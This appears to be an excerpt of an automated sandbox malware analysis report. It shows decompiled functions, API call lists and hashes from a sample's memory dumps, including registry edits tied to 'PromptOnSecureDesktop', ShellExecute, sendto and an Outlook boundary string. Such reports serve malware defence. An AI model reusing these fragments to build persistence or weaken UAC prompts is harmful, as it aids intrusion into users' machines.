Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0057E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0057E04F

Strings

A, xrefs: 0057E01F
A, xrefs: 0057E020, 0057E025
A, xrefs: 0057E068

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: ef08b89ba0fba7dbeb98451c42f000d577a6cad3168c6fc4b3e83c22044a75dd
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 68F062716007029FCB30CF25E888A92BBF9FB09321B44C6AAE168C3060D3B4AD95DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0057E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,005744CB,00000000,00000000,00000000), ref: 0057E459
CloseHandle.KERNEL32(00000001,00000003), ref: 0057E46D

Part of subcall function 0057E2E5: RegCreateKeyExA.ADVAPI32(80000001,0057E4F3,00000000,00000000,00000000,00020106,00000000,0057E4F3,00000000,000000E4), ref: 0057E302
Part of subcall function 0057E2E5: RegSetValueExA.ADVAPI32(0057E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0057E377
Part of subcall function 0057E2E5: RegDeleteValueA.ADVAPI32(0057E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0057E3A8
Part of subcall function 0057E2E5: RegCloseKey.ADVAPI32(0057E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0057E4F3), ref: 0057E3B1

Strings

PromptOnSecureDesktop, xrefs: 0057E4DA, 0057E4DF, 0057E520, 0057E54A

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 25d44c3829fef3c2be3df8de4a362f05d772c469bcfedd3971a76266a2e8ed24
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: E141B772900308BADB20AE51AC4BFDF3F6CFB49754F10C0A5FA0D94092E6758A50E7B5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00578319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 005783AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 00578460

Part of subcall function 005769AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 005769CE
Part of subcall function 005769AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 00576A0F
Part of subcall function 005769AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 00576A23

Part of subcall function 0057EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00571DB8,?), ref: 0057EE91
Part of subcall function 0057EE7E: HeapFree.KERNEL32(00000000), ref: 0057EE98

Strings

PromptOnSecureDesktop, xrefs: 0057839B, 005783A0, 0057846C

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: 82b53b682c77e285337d89efb3bf67879db3ecaa137d7a9de5ba4bcaca31294f
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 914184B194010ABEDF20EB90AD89DFE7F6DFB44304F04847AF508E6111EAB45A94AB55

Uniqueness

Uniqueness Score: -1.00%

Function 0057E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0057E842,00000000,00020119,0057E842,PromptOnSecureDesktop), ref: 0057E636
RegCloseKey.ADVAPI32(0057E842,?,?,?,?,000000C8,000000E4), ref: 0057E770

Strings

PromptOnSecureDesktop, xrefs: 0057E620

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 7cda193c4d8658d8e2729032dd770ca842252bf09b66f6b604085cf8931e51b4
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: 04410AB2D0021DBFDF119F94EC86DEEBBBDFB58304F1080A5E914B6150E3319A559B60

Uniqueness

Uniqueness Score: -1.00%

Function 0057AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0057AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 0057AFF6

Part of subcall function 0057AF58: gethostname.WS2_32(?,00000080), ref: 0057AF6C
Part of subcall function 0057AF58: lstrcpy.KERNEL32(?,00410B90), ref: 0057AFCF

Part of subcall function 00573305: gethostname.WS2_32(?,00000080), ref: 00573328
Part of subcall function 00573305: gethostbyname.WS2_32(?), ref: 00573332

Part of subcall function 0057A9F3: inet_ntoa.WS2_32(00000000), ref: 0057A9F9

Strings

%OUTLOOK_BND_, xrefs: 0057B05F, 0057B064, 0057B0A7, 0057B0C6

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 2c4aee774ce6592518593040ac9d5c6518ad2d1428b2905f8a0cd0b05b04b384
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 1A4184B290024DABDF25EFA0DC4AEEF3B6CFB44300F144426F92892152EB75D954DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0057943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 0057951F
Sleep.KERNEL32(000001F4), ref: 00579546

Strings

, xrefs: 005794C2

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: 6ec6a0dfe754d68d40ce3c3d3d486a768088f7ff60b1e616e71561989966e379
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: AD4128B18083646EEF228624F88DBE63FE5BF42310F1881E5D19E97192D6B44D82A771

Uniqueness

Uniqueness Score: -1.00%

Function 0057BBE0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick
String ID: 0t
API String ID: 2903770966-1355922044
Opcode ID: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction ID: c0303607f70ae971bb3cbbefcb57da56b99f19b893d34e652f11a760b44a116b
Opcode Fuzzy Hash: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction Fuzzy Hash: BA4193718002589FEF35DF64EC49BEE3BA8FB44700F60845AF92892151EB309A80EF51

Uniqueness

Uniqueness Score: -1.00%

Function 0057294F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057297E
sendto.WS2_32(?,00412BF8,00000009,00000000,?,00000010), ref: 00572A52

Part of subcall function 0057EE1C: GetProcessHeap.KERNEL32(00000000,00000000,00000000,0057EE4E,?,?,00571D5E,?,?), ref: 0057EE23
Part of subcall function 0057EE1C: RtlAllocateHeap.NTDLL(00000000,?,00571D5E), ref: 0057EE2A

Strings

0t, xrefs: 0057297E

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1419455383-1355922044
Opcode ID: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction ID: 2b3c46bd7718a89e55de71f21154e0dc50b7983ea9e3746ead10780c470f9033
Opcode Fuzzy Hash: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction Fuzzy Hash: D1314C342483969FD7108F74EC40AA57B64FF19314F19C0BDE959CB322D6B2E892E704

Uniqueness

Uniqueness Score: -1.00%

Function 0057BD7A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 0057B615: wsprintfA.USER32 ref: 0057B6B7

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocketwsprintf
String ID: 0t
API String ID: 4077942794-1355922044
Opcode ID: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction ID: 0156de4adb4ef5cd9195e9563d149284bc086faca4c60efa7166b2ebbfa1c979
Opcode Fuzzy Hash: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction Fuzzy Hash: C8313E71404248EFEF25DFA4EC55AED7BA9FB44700F60845AFE2882261DB35DA84EF11

Uniqueness

Uniqueness Score: -1.00%

Function 0057BDB9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction ID: d483f838c24d1e838d7d08cf201970ae0b92009214b676f309d743192096cfb1
Opcode Fuzzy Hash: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction Fuzzy Hash: B0215E71400248DFEF25DF64EC44BE97BA8FB44701F60855AFD2882261EB35DA84DF11

Uniqueness

Uniqueness Score: -1.00%

Function 0057BBCD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
